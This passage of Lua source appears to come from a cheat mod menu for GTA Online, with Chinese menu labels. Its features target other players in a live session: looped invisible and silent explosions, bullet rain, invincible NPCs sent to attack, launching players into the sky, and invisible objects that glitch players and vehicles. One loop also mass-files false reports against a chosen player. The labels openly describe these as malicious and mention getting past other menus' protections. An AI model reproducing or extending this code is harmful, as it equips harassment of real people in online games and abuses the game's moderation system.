      MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(tar1.x, tar1.y + 1.0, tar1.z, tar1.x , tar1.y, tar1.z, 200, 0, weap, 0, true, false, mir.speed)
      MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(tar1.x + 1.0, tar1.y , tar1.z, tar1.x , tar1.y, tar1.z, 200, 0, weap, 0, true, false, mir.speed)
      MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(tar1.x + 1.0, tar1.y + 1.0, tar1.z, tar1.x , tar1.y, tar1.z, 200, 0, weap, 0, true, false, mir.speed)
      MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(tar1.x - 1.0, tar1.y, tar1.z, tar1.x , tar1.y, tar1.z, 200, 0, weap, 0, true, false, mir.speed)
      MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(tar1.x, tar1.y - 1.0, tar1.z, tar1.x , tar1.y, tar1.z, 200, 0, weap, 0, true, false, mir.speed)
      MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(tar1.x - 1.0, tar1.y - 1.0, tar1.z, tar1.x , tar1.y, tar1.z, 200, 0, weap, 0, true, false, mir.speed)
  
      if not players.exists(pid) then
          if set.alert then
              util.toast('你正在让他们怒不可遏')
          end
          util.stop_thread()
      end
  end)
  
 GTLuaScript.list_action(mrplaym, '类型', {''}, '更改在玩家身上下雨的类型', Weaplist, function(weapsel, text)
      mir.weap = Weap[weapsel]
      GTluaScript.set_menu_name(mirloop, '在玩家身上下雨 ' ..': '.. text)
  end)

 local weaspeed = GTluaScript.slider(mrplaym, '下雨速度', {''}, '更改下雨的速度', 100, 6000, 1000, 100, function (s)
      mir.speed = s
  end)

    local player_jinx_army = {}
    local army_player = GT(jindianegao, "宠物猫Jinx军队", {}, "生成一群愚蠢的小猫咪")
    GTluaScript.click_slider(army_player, "生成宠物猫Jinx军队", {}, "", 1, 256, 30, 1, function(val)
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped, false)
        pos.y = pos.y - 5
        pos.z = pos.z + 1
        local jinx = util.joaat("a_c_cat_01")
        request_model(jinx)
        for i = 1, val do
            player_jinx_army[i] = entities.create_ped(28, jinx, pos, 0)
            ENTITY.SET_ENTITY_INVINCIBLE(player_jinx_army[i], true)
            PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(player_jinx_army[i], true)
            PED.SET_PED_COMPONENT_VARIATION(player_jinx_army[i], 0, 0, 1, 0)
            TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(player_jinx_army[i], ped, 0, -0.3, 0, 7.0, -1, 10, true)
            wait()
        end 
    end)

    GTAC(army_player, "清除Jinx宠物猫", {}, "", function()
        for i, ped in ipairs(entities.get_all_peds_as_handles()) do
            if PED.IS_PED_MODEL(ped, util.joaat("a_c_cat_01")) then
                entities.delete_by_handle(ped)
            end
        end
    end)

    local player_jinx_army = {}
    local army_player = GT(jindianegao, "ikun军队", {}, "")
    GTluaScript.click_slider(army_player, "生成ikunx军队", {}, "", 1, 256, 30, 1, function(val)
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped, false)
        pos.y = pos.y - 5
        pos.z = pos.z + 1
        local jinx = util.joaat("a_c_hen")
        request_model(jinx)
        for i = 1, val do
            player_jinx_army[i] = entities.create_ped(28, jinx, pos, 0)
            ENTITY.SET_ENTITY_INVINCIBLE(player_jinx_army[i], true)
            PED.SET_BLOCKING_OF_NON_TEMPORARY_EVENTS(player_jinx_army[i], true)
            PED.SET_PED_COMPONENT_VARIATION(player_jinx_army[i], 0, 0, 1, 0)
            TASK.TASK_FOLLOW_TO_OFFSET_OF_ENTITY(player_jinx_army[i], ped, 0, -0.3, 0, 7.0, -1, 10, true)
            wait()
        end 
    end)

    GTAC(army_player, "清除ikun军队", {}, "", function()
        for i, ped in ipairs(entities.get_all_peds_as_handles()) do
            if PED.IS_PED_MODEL(ped, util.joaat("a_c_hen")) then
                entities.delete_by_handle(ped)
            end
        end
    end)

    GTTG(jindianegao, "悲伤耶稣", {""}, "召唤耶稣攻击该玩家", function(toggled)
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = players.get_position(pid)
        local jesus = util.joaat("u_m_m_jesus_01")
        request_model(jesus)

        if toggled then
            jesus_ped = entities.create_ped(26, jesus, pos, 0)
            ENTITY.SET_ENTITY_INVINCIBLE(jesus_ped, true)
            WEAPON.GIVE_WEAPON_TO_PED(jesus_ped, util.joaat("WEAPON_RAILGUN"), 9999, true, true)
            PED.SET_PED_HEARING_RANGE(jesus_ped, 9999.0)
            PED.SET_PED_CONFIG_FLAG(jesus_ped, 281, true)
            PED.SET_PED_COMBAT_ATTRIBUTES(jesus_ped, 5, true)
            PED.SET_PED_COMBAT_ATTRIBUTES(jesus_ped, 46, true)
            PED.SET_PED_ACCURACY(jesus_ped, 100.0)
            PED.SET_PED_COMBAT_ABILITY(jesus_ped, 2)
            PED.SET_PED_CAN_RAGDOLL(jesus_ped, false)
        end

        while toggled do
            if PED.IS_PED_DEAD_OR_DYING(ped) then
                repeat
                    wait()
                until not PED.IS_PED_DEAD_OR_DYING(ped)
                local new_pos = players.get_position(pid)
                new_pos.y += 2
                new_pos.z += 1 -- 耶稣模型出于某种原因不断卡位,这样做是为了防止这种情况发生.
                wait(2500)
                ENTITY.SET_ENTITY_COORDS_NO_OFFSET(jesus_ped, new_pos, false, false, false)
                WEAPON.REFILL_AMMO_INSTANTLY(jesus_ped)
                TASK.TASK_COMBAT_PED(jesus_ped, ped, 0, 16)
            end
            wait()
        end
        if jesus_ped ~= nil then
            entities.delete_by_handle(jesus_ped)
        end
    end)

    GTAC(jindianegao, "弹射玩家", {}, "警告: 被大部分菜单检测", function()																																																	   
        local mdl = util.joaat("boxville3")
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        request_model(mdl)
                    
        if PED.IS_PED_IN_ANY_VEHICLE(ped, false) then
            util.toast("玩家在载具中. :/")
        return end
        
        if TASK.IS_PED_WALKING(ped) then
            boxville = entities.create_vehicle(mdl, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(ped, 0.0, 2.0, 0.0), ENTITY.GET_ENTITY_HEADING(ped))
            ENTITY.SET_ENTITY_VISIBLE(boxville, false)
            wait(250)
            local force
            repeat
                if boxville ~= 0 and ENTITY.DOES_ENTITY_EXIST(boxville)then
                    ENTITY.APPLY_FORCE_TO_ENTITY(boxville, 1, 0.0, 0.0, 25.0, 0.0, 0.0, 0.0, 0, 1, 1, 1, 0, 1)
                end
                wait()
                pos = ENTITY.GET_ENTITY_COORDS(ped)
            until pos.z > 10000.0
            wait(100)
            if boxville ~= 0 and ENTITY.DOES_ENTITY_EXIST(boxville) then 
                entities.delete_by_handle(boxville)
            end
        else
            util.toast("玩家必须在行走时才能发挥作用. :/")
        end
    end)

  local eplaym = GT(jindianegao, '爆炸玩家', {}, '')
-------------------------------------
local exset = {exsel = 0, scale = 1000, isaud = true, invis = false, shake = 0, damage = false, delay = 1}
local exloop = GTLP(eplaym, '类型:手榴弹', {'EXPL'}, '循环爆炸玩家', function ()
     local targets = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
     local tar1 = ENTITY.GET_ENTITY_COORDS(targets, true)


     FIRE.ADD_EXPLOSION(tar1.x, tar1.y, tar1.z - 1, exset.exsel, exset.scale, exset.isaud, exset.invis, exset.shake, exset.damage)
     FIRE.ADD_EXPLOSION(tar1.x, tar1.y, tar1.z - 0.5, exset.exsel, exset.scale, exset.isaud, exset.invis, exset.shake, exset.damage)
     FIRE.ADD_EXPLOSION(tar1.x, tar1.y, tar1.z, exset.exsel, exset.scale, exset.isaud, exset.invis, exset.shake, exset.damage)
     FIRE.ADD_EXPLOSION(tar1.x, tar1.y, tar1.z + 0.5, exset.exsel, exset.scale, exset.isaud, exset.invis, exset.shake, exset.damage)
     wait(exset.delay)

     if not players.exists(pid) then
         if set.alert then
             util.toast('你正在让他们怒不可遏')
         end
         util.stop_thread()
     end
 end)


 GTLuaScript.list_action(eplaym, '更改爆炸类型', {''}, '更改爆炸玩家的类型', bmobdifficent,function(index, text)
     menu.set_menu_name(exloop, '循环爆炸类型 ' ..': '.. text)
     exset.exsel = index - 1
 end)

 GTluaScript.slider(eplaym, '更改爆炸大小', {''}, '更改爆炸玩家的大小', 100, 6000, 1000, 100, function (s)
     exset.scale = s
  end)

  GTTG(eplaym, '隐形爆炸', {''}, '让玩家看不见爆炸', function (on)
     exset.invis = on
 end)

 GTTG(eplaym, '无声爆炸', {''}, '让玩家听不见爆炸', function (on)
     exset.isaud = not on
 end)

 GTluaScript.slider(eplaym, '晃动视角数值', {''}, '调整由爆炸引起的视角晃动数值', 0, 100, 0, 10, function (sh)
     exset.shake = sh
  end)

  GTTG(eplaym, '无伤爆炸', {''}, '让玩家受不到爆炸伤害', function (on)
     exset.damage = on
 end)

 GTluaScript.slider(eplaym, '延迟', {''}, '调成距离上一次爆炸的延迟', 0, 1000, 100, 10, function (de)
     exset.delay = de
  end)

-------------------------------------------------

    GTLP(jindianegao,"切割机", {'qiegeji'},"使用直升机螺旋桨对玩家进行砍杀", function(click_type)
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_ENTITY_COORDS(target_ped, false)
        coords.z = coords['z']+2.5
        local hash = util.joaat("buzzard")
        request_model_load(hash)
        local heli = entities.create_vehicle(hash, coords, ENTITY.GET_ENTITY_HEADING(target_ped))
        VEHICLE.SET_VEHICLE_ENGINE_ON(heli, true, true, false)
        VEHICLE.SET_HELI_BLADES_FULL_SPEED(heli)
        ENTITY.SET_ENTITY_INVINCIBLE(heli, true)
        ENTITY.FREEZE_ENTITY_POSITION(heli, true)
        ENTITY.SET_ENTITY_COMPLETELY_DISABLE_COLLISION(heli, true, true)
        ENTITY.SET_ENTITY_ROTATION(heli, 180, 0.0, ENTITY.GET_ENTITY_HEADING(target_ped), 0)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(heli, coords.x, coords.y, coords.z, true, false, false)
        VEHICLE.SET_VEHICLE_ENGINE_ON(heli, true, true, true)
    end)

        local explosion_circle_angle = 0
        GTLP(jindianegao, "爆炸圈", {}, "在该玩家周围生成爆炸圈", function ()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        explosion_circle(ped, explosion_circle_angle, 25)
        explosion_circle_angle += 0.15

        wait(50)
    end)

    GTTG(jindianegao, '发射烟花', {}, '弹飞玩家并把玩家变成烟花', function (on)
        if on then
        menu.set_value(weaspeed, 100)
        mir.weap = 'weapon_firework'
        menu.trigger_commands("rain".. players.get_name(pid))
        menu.trigger_commands("JuggleC".. players.get_name(pid))
        else
        menu.trigger_commands("rain".. players.get_name(pid))
        menu.trigger_commands("JuggleC".. players.get_name(pid))
        end
    end)

    GTLP(jindianegao, "砸死他", {}, "用陨石砸死他", function() 
        local coords = players.get_position(pid)
        coords.z = coords['z'] + 15.0
        local asteroid = entities.create_object(3751297495, coords)
        ENTITY.SET_ENTITY_DYNAMIC(asteroid, true)
    end)

    GTAC(jindianegao, "大爆炸", {}, "炸死他奶奶滴", function() 
        local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(p, 0, 0, 0)
        local defx = 0
        local defy = 0
        local defz = 0
        FIRE.ADD_EXPLOSION(c.x, c.y, c.z, exp, 100.0, true, false, 1.0, false)
        wait(50)
        defz = defz + 2
        c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(p, defx, defy, defz)
        FIRE.ADD_EXPLOSION(c.x, c.y, c.z, exp, 100.0, true, false, 1.0, false)
        wait(50)
        defz = defz + 2
        c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(p, defx, defy, defz)
        FIRE.ADD_EXPLOSION(c.x, c.y, c.z, exp, 100.0, true, false, 1.0, false)
        wait(50)
        defz = defz + 2
        c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(p, defx, defy, defz)
        FIRE.ADD_EXPLOSION(c.x, c.y, c.z, exp, 100.0, true, false, 1.0, false)
        wait(50)
        defz = defz + 2
        c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(p, defx, defy, defz)
        FIRE.ADD_EXPLOSION(c.x, c.y, c.z, exp, 100.0, true, false, 1.0, false)
        wait(50)
        defz = defz + 2
        c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(p, defx, defy, defz)
        FIRE.ADD_EXPLOSION(c.x, c.y, c.z, exp, 100.0, true, false, 1.0, false)
        wait(50)
        defx = defx + 2
        defy = defy + 2
        c = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(p, defx, defy, defz)
        FIRE.ADD_EXPLOSION(c.x, c.y, c.z, exp, 100.0, true, false, 1.0, false)
    end)

    xunhaunshijian = GT(jindianegao, "循环事件", {}, "", function(); end)

    GTTG(xunhaunshijian, '综合循环事件', {"zonghexh"}, '非常恶意的功能\n建议远离该玩家', function (on)
       if on then 
        menu.trigger_commands("flameloop".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("waterloopv2".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("waterloop".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("waterloopv3".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("fangpi".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("xbaozha".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("dbaozha".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("waterloopv4".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("flameloop".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("sybengkui1".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("sybengkui2".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("dalababb".. PLAYER.GET_PLAYER_NAME(pid))
        else
        menu.trigger_commands("flameloop".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("waterloopv2".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("waterloop".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("waterloopv3".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("fangpi".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("xbaozha".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("dbaozha".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("waterloopv4".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("fgv2".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("fgv3".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("flameloop".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("sybengkui1".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("sybengkui2".. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("dalababb".. PLAYER.GET_PLAYER_NAME(pid))
        end
    end)

    GTLP(xunhaunshijian, "循环爆炸", {""}, "经典恶搞", function()
        if players.exists(pid) then
            local player_pos = players.get_position(pid)
            FIRE.ADD_EXPLOSION(player_pos.x, player_pos.y, player_pos.z, explosion, 1, true, false, 1, false)
            wait(100)
        end
    end)

    GTLP(xunhaunshijian, "循环电磁", {""}, "经典恶搞", function()
        if players.exists(pid) then
            local player_pos = players.get_position(pid)
            FIRE.ADD_EXPLOSION(player_pos.x, player_pos.y, player_pos.z - 1, 70, 1, true, false, 1, false)
            wait(100)
        end
    end)

    GTLP(xunhaunshijian, "循环烟花", {""}, "经典恶搞", function()
        if players.exists(pid) then
            local player_pos = players.get_position(pid)
            FIRE.ADD_EXPLOSION(player_pos.x, player_pos.y, player_pos.z - 1, 38, 1, true, false, 1, false)
            wait(100)
        end
    end)

    GTLP(xunhaunshijian, "循环喷火", {"flameloop"}, "经典恶搞", function(on_click)
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_ENTITY_COORDS(target_ped, false)
        FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z - 2.0, 12, 1, true, false, 0, false)
    end)

    GTLP(xunhaunshijian, "循环喷火V2", {"waterloopv2"}, "经典恶搞", function(on_click)
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_ENTITY_COORDS(target_ped, false)
        FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], 12, 100.0, true, false, 0.0)
    end)

    GTLP(xunhaunshijian, "循环喷水", {"waterloop"}, "经典恶搞", function(on_click)
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_ENTITY_COORDS(target_ped, false)
        FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z - 2.0, 13, 1, true, false, 0, false)
    end)

    GTLP(xunhaunshijian, "循环喷水V2", {"waterloopv3"}, "经典恶搞", function(on_click)
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_ENTITY_COORDS(target_ped, false)
        FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], 13, 100.0, true, false, 0.0)
    end)

    GTLP(xunhaunshijian, "循环放屁", {"fangpi"}, "", function(on_click)
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_ENTITY_COORDS(target_ped, false)
        FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], 24, 100.0, true, false, 0.0)
    end)

    GTLP(xunhaunshijian, "循环小爆炸", {"xbaozha"}, "", function(on_click)
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_ENTITY_COORDS(target_ped, false)
        FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], 25, 100.0, true, false, 0.0)
    end)

    GTLP(xunhaunshijian, "循环大爆炸", {"dbaozha"}, "", function(on_click)
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_ENTITY_COORDS(target_ped, false)
        FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], 6, 100.0, true, false, 0.0)
    end)

    GTLP(xunhaunshijian, "循环气场爆炸", {"waterloopv4"}, "", function(on_click)
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_ENTITY_COORDS(target_ped, false)
        FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], 26, 100.0, true, false, 0.0)
    end)

    GTLP(xunhaunshijian, "循环闪闪发光", {"fgv2"}, "", function(on_click)
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_ENTITY_COORDS(target_ped, false)
        FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], 22, 100.0, true, false, 0.0)
    end)

    GTLP(xunhaunshijian, "循环机枪爆炸", {"waterloopv5"}, "", function(on_click)
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_ENTITY_COORDS(target_ped, false)
        FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], 45, 100.0, true, false, 0.0)
    end)

    GTLP(xunhaunshijian, "循环炸裂", {"fgv3"}, "", function(on_click)
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_ENTITY_COORDS(target_ped, false)
        FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], 23, 100.0, true, false, 0.0)
    end)

    GTLP(xunhaunshijian, "循环烟雾", {"flameloop"}, "经典恶搞", function(on_click)
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_ENTITY_COORDS(target_ped, false)
        FIRE.ADD_EXPLOSION(coords.x, coords.y, coords.z - 1.0, 20, 1, true, false, 0, false)
    end)

    GTLP(xunhaunshijian,"循环电击枪", {"stungunloop"}, "在该玩家周围生成电击枪发射音效", function()
        local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(player)
        for i = 1, 50 do
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x, pos.y, pos.z + 1, pos.x, pos.y, pos.z, 0, true, util.joaat("weapon_stungun"), players.user_ped(), false, true, 1.0)
        end
        wait(100)
    end)

    GTLP(xunhaunshijian,"循环原子能枪", {"atomicgunloop"}, "在该玩家周围生成原子能枪发射音效", function()
        local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(player)
        MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x, pos.y, pos.z - 0.3, pos.x, pos.y, pos.z, 0, true, util.joaat("weapon_raypistol"), players.user_ped(), true, false, 1.0)
        wait(250)
    end)

    GTLP(xunhaunshijian, "随机循环", {"randomloop"}, "经典恶搞", function(on)
        local target_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local coords = ENTITY.GET_ENTITY_COORDS(target_ped)
        FIRE.ADD_EXPLOSION(coords['x'], coords['y'], coords['z'], math.random(0, 82), 1.0, true, false, 0.0)
    end)

	GTTG(xunhaunshijian,"循环举报", {"reportthenoob"}, "会造成卡顿", function(on)
		spam = on
		while spam do
			if pid ~= players.user() then
				menu.trigger_commands("reportvcannoying " .. PLAYER.GET_PLAYER_NAME(pid))
				menu.trigger_commands("reportvchate " .. PLAYER.GET_PLAYER_NAME(pid))
				menu.trigger_commands("reportannoying " .. PLAYER.GET_PLAYER_NAME(pid))
				menu.trigger_commands("reporthate " .. PLAYER.GET_PLAYER_NAME(pid))
				menu.trigger_commands("reportexploits " .. PLAYER.GET_PLAYER_NAME(pid))
				menu.trigger_commands("reportbugabuse " .. PLAYER.GET_PLAYER_NAME(pid))
			end
			wait()
		end
	end)

    player_toggle_loop(jindianegao, pid, "电死他", {tase}, "拯救网瘾少年", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped)
        for i = 1, 50 do
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(pos.x, pos.y, pos.z + 1, pos.x, pos.y, pos.z, 0, true, util.joaat("weapon_stungun"), players.user_ped(), false, true, 1.0)
        end
        wait()
    end)
    
    local griefing = menu.list(jindianegao, "坏蛋选项", {}, "做一个坏孩纸")
    local glitch_player_list = menu.list(griefing, "鬼畜玩家", {"glitchdelay"}, "")
    local object_stuff = {
        names = {
            "摩天轮",
            "UFO",
            "水泥搅拌车",
            "脚手架",
            "车库门",
            "保龄球",
            "足球",
            "橘子",
            "特技坡道",

        },
        objects = {
            "prop_ld_ferris_wheel",
            "p_spinning_anus_s",
            "prop_staticmixer_01",
            "prop_towercrane_02a",
            "des_scaffolding_root",
            "prop_sm1_11_garaged",
            "stt_prop_stunt_bowling_ball",
            "stt_prop_stunt_soccer_ball",
            "prop_juicestand",
            "stt_prop_stunt_jump_l",
        }
    }
    local object_hash = util.joaat("prop_ld_ferris_wheel")
    GTLuaScript.list_select(glitch_player_list, "物体", {"glitchplayer"}, "选择鬼畜玩家使用的物体.", object_stuff.names, 1, function(index)
        object_hash = util.joaat(object_stuff.objects[index])
    end)

    GTluaScript.slider(glitch_player_list, "物体生成延迟", {"spawndelay"}, "", 150, 3000, 150, 10, function(amount)
        delay = amount
    end)

    local glitchPlayer
    glitchPlayer = player_toggle_loop(glitch_player_list, pid, "鬼畜玩家", {"glitchplayer"}, "被具有实体垃圾邮件保护功能的菜单所阻止.", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = ENTITY.GET_ENTITY_COORDS(ped, false)
        if not players.exists(pid) then 
            util.toast("玩家不存在. :/")
            menu.set_value(glitchPlayer_toggle, false)
        util.stop_thread() end

        if v3.distance(ENTITY.GET_ENTITY_COORDS(players.user_ped(), false), players.get_position(pid)) > 1000.0 
        and v3.distance(pos, players.get_cam_pos(players.user())) > 1000.0 then
            util.toast("玩家离得太远. :/")
            menu.set_value(glitchPlayer_toggle, false)
        return end

        local glitch_hash = object_hash
        local poopy_butt = util.joaat("rallytruck")
        request_model(glitch_hash)
        request_model(poopy_butt)
        local stupid_object = entities.create_object(glitch_hash, pos)
        local glitch_vehicle = entities.create_vehicle(poopy_butt, pos, 0)
        ENTITY.SET_ENTITY_VISIBLE(stupid_object, false)
        ENTITY.SET_ENTITY_VISIBLE(glitch_vehicle, false)
        ENTITY.SET_ENTITY_INVINCIBLE(stupid_object, true)
        ENTITY.SET_ENTITY_COLLISION(stupid_object, true, true)
        ENTITY.APPLY_FORCE_TO_ENTITY(glitch_vehicle, 1, 0.0, 10, 10, 0.0, 0.0, 0.0, 0, 1, 1, 1, 0, 1)
        wait(delay)
        entities.delete_by_handle(stupid_object)
        entities.delete_by_handle(glitch_vehicle)
        wait(delay)     
    end)

    local function RequestModel(hash, timeout)
    timeout = timeout or 3
    STREAMING.REQUEST_MODEL(hash)
    local end_time = os.time() + timeout
    repeat
    wait()
    until STREAMING.HAS_MODEL_LOADED(hash) or os.time() >= end_time
    return STREAMING.HAS_MODEL_LOADED(hash)
end

    local glitch_veh_root = GT(griefing, "鬼畜载具")
    local obj_hash = util.joaat("prop_ld_ferris_wheel")
    GTLuaScript.list_select(glitch_veh_root, "模型选择", {"glitchplayer"}, "鬼畜玩家的模型是?", object_stuff.names, 1, function(index)
        obj_hash = util.joaat(object_stuff.objects[index])
    end)

    local glitchveh
    glitchveh = GTLP(glitch_veh_root, "开启", {"glitchvehicle"}, "请在实体模型选择完毕后，开启它！", function() -- credits to soul reaper for base concept
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local pos = players.get_position(pid)
        local player_veh = PED.GET_VEHICLE_PED_IS_USING(ped)
        local veh_model = players.get_vehicle_model(pid)
        local seat_count = VEHICLE.GET_VEHICLE_MODEL_NUMBER_OF_SEATS(veh_model)
        local object_hash = obj_hash
        RequestModel(object_hash)

        if not ENTITY.DOES_ENTITY_EXIST(ped) and PED.IS_PED_IN_ANY_VEHICLE(ped, false) then
            util.toast(players.get_name(pid) .. "太远或不在车辆中. :/")
            glitchveh.value = false
        util.stop_thread() end

        if not VEHICLE.ARE_ANY_VEHICLE_SEATS_FREE(player_veh) then
            util.toast("没有座位了. :/")
            glitchveh.value = false
        util.stop_thread() end

        local glitch_obj = entities.create_object(object_hash, pos)
        local glitched_ped = PED.CREATE_RANDOM_PED(pos.x,pos.y,pos.z)
        local things = {glitched_ped, glitch_obj}
        
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(glitch_obj)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(glitched_ped)

        ENTITY.ATTACH_ENTITY_TO_ENTITY(glitch_obj, glitched_ped, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)

        for i, spawned_objects in things do
            NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(spawned_objects)
            ENTITY.SET_ENTITY_VISIBLE(spawned_objects, false)
            ENTITY.SET_ENTITY_INVINCIBLE(spawned_objects, true)
        end

        for i = 0, seat_count -1 do
            if VEHICLE.ARE_ANY_VEHICLE_SEATS_FREE(player_veh) then
                local emptyseat = i
                for l = 1, 25 do
                    PED.SET_PED_INTO_VEHICLE(glitched_ped, player_veh, emptyseat)
                    ENTITY.SET_ENTITY_COLLISION(glitch_obj, true, true)
                    wait()
                end
            end
        end
        if glitched_ped ~= nil then -- added a 2nd stage here because it didnt want to delete sometimes, this solved that lol.
            entities.delete_by_handle(glitched_ped) 
        end
        if glitch_obj ~= nil then 
            entities.delete_by_handle(glitch_obj)
        end
    end)

    local glitchforcefield
    glitchforcefield = player_toggle_loop(griefing, pid, "大范围力场", {"forcefield"}, "被大部分菜单阻止", function()
        local glitch_hash = util.joaat("p_spinning_anus_s")
        request_model(glitch_hash)

        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local playerpos = ENTITY.GET_ENTITY_COORDS(ped, false)
        
        if not players.exists(pid) then 
            util.toast("玩家并不存在. :/")
            menu.set_value(glitchPlayer_toggle, false)
        util.stop_thread() end

        if v3.distance(ENTITY.GET_ENTITY_COORDS(players.user_ped(), false), players.get_position(pid)) > 1000.0 
        and v3.distance(pos, players.get_cam_pos(players.user())) > 1000.0 then
            util.toast("玩家离得太远. :/")
            menu.set_value(glitchPlayer, false)
        return end

        if PED.IS_PED_IN_ANY_VEHICLE(ped, false) then
            util.toast("玩家在载具里. :/")
            menu.set_value(glitchforcefield, false)
        return end

        local stupid_object = entities.create_object(glitch_hash, playerpos)
        ENTITY.SET_ENTITY_VISIBLE(stupid_object, false)
        wait()
        entities.delete_by_handle(stupid_object)
        wait()    
    end)

    GTluaScript.click_slider(griefing, "虚假抢劫", {}, "", 0, 2147483647, 0, 1000, function(amount)
